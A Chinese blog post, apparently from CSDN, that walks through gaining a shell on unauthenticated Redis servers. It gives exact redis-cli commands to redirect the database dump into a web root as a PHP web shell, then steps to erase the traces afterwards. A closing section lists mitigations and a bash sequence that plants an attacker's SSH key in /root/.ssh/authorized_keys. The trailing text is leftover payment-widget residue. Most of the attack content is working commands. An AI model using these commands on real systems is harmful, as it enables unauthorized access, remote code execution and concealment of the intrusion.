redis渗透中的getshell问题总结


0x00 前言
redis现在很多都是直接对外开放端口,从外网无需任何验证即可直接访问到。相关的例子可以从shodan或者zoomeye上找到。那么问题来了,作为一个内存数据库,redis上肯定也有很多敏感信息,比如redis用于做session的存储,可能导致敏感信息泄露。不过最近研究redis从乌云社区和drops上看到有人getshell,思路比较有趣,特地写一下总结。
 
0x01 redis端口探测
6379
判断时,使用python客户端进行扫描,或者直接在浏览器上访问6379查看banner信息:
 
0x02 本地装一个cli
运行redis-cli -h [hostname] -p [port]
比如10.10.10.1的6379是开放的,那么连接:
redis-cli -h 10.10.10.1进入redis的交互shell。
 
0x03 利用redis写入shell
条件:
(1)redis服务器上有web服务器
(2)web根目录已知
原理:
redis中有一种数据备份的方式是备份至.rdb文件,在配置文件中的dbfilename中
这种备份方式是根据时间的频率来进行保存的。
但是redis中有个config set命令可以修改redis运行时的配置选项。
其中redis.conf中有个dir选项可以选择保存dump.rdb的目录,默认是当前目录:
我们可以控制dir和dbfilename选项,将shell写入到网站的根目录(假设为/var/www/html)下:
CONFIG SET dir /var/www/html     # 修改备份目录
CONGIG SET dbfilename shell.php  # 修改备份文件名为我们的shell名
创建一个字符串,这样在备份时可以写入备份文件中。
SET shell "<?php system($_GET['cmd']);?>"
将数据备份到磁盘中:
BGSAVE
 
 
0x04 清除痕迹
(1)删除key
(2)将dir和dbfilename更为原样
最好使用config get事先看看原来的值是啥。
DEL payload
CONFIG SET dir /usr/local/redis
CONGIG SET dbfilename dump.rdb
0x05 测试
访问shell:
0x06 问题
(1)一个是有人在drops上说备份的数据文件默认权限是0600,但是本地使用root运行redis没有这个权限问题,可以成功写入。
(2)一般来说,redis中使用备份数据的时候,会把以前的数据完整备份一遍,也就是说这个数据库持久化文件很可能会非常大,apache读不读的出来还是一回事儿,太大说不定直接阻塞down掉。一种方法是将全部的数据备份,再flushall,再备份导出shell,然后利用第一步的持久化文件进行恢复,这样做可能会造成一定的数据丢失,对站点造成损害,还是不推荐使用。
Redis未授权访问漏洞是指在没有设置密码或访问控制的情况下,攻击者可以直接连接到Redis服务并执行任意命令。这种漏洞的存在可能导致严重的安全问题,包括但不限于数据泄露、篡改和远程代码执行(getshell)。 以下是Redis未授权访问漏洞的一些关键点: 1. **默认配置问题**:Redis默认情况下是不需要密码认证的,且监听在0.0.0.0地址上,这使得任何人都可以访问。 2. **远程代码执行**:攻击者可以通过Redis的特定命令(如`CONFIG SET`、`SAVE`等)来写入文件,从而实现远程代码执行。 3. **数据泄露**:未授权访问的Redis实例可以被攻击者用来读取和篡改数据,导致敏感信息泄露。 ### 防范措施 1. **设置密码**:在`redis.conf`文件中设置密码,并使用`requirepass`指令进行配置。 2. **绑定本地地址**:将Redis绑定到本地地址(127.0.0.1),而不是0.0.0.0。 3. **防火墙**:配置防火墙规则,只允许可信的IP地址访问Redis端口。 4. **最小权限原则**:确保运行Redis的用户具有最低权限,避免使用root用户运行Redis。 ### 攻击示例 假设攻击者发现了一台未授权访问的Redis服务器,他们可以执行以下步骤: 1. **连接Redis**:使用`redis-cli`连接到目标服务器。 2. **写入SSH公钥**:将攻击者的SSH公钥写入目标服务器的`authorized_keys`文件。 3. **远程登录**:通过SSH远程登录到目标服务器,实现getshell。 ```bash redis-cli -h <目标IP> flush redis-cli -h <目标IP> config SET dir /root/.ssh/ redis-cli -h <目标IP> CONFIG SET dbfilename "authorized_keys" redis-cli -h <目标IP> set x "\n\n<攻击者公钥>\n\n" redis-cli -h <目标IP> save ``` 通过上述步骤,攻击者可以成功地将自己的SSH公钥写入目标服务器的`authorized_keys`文件,从而实现远程登录。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值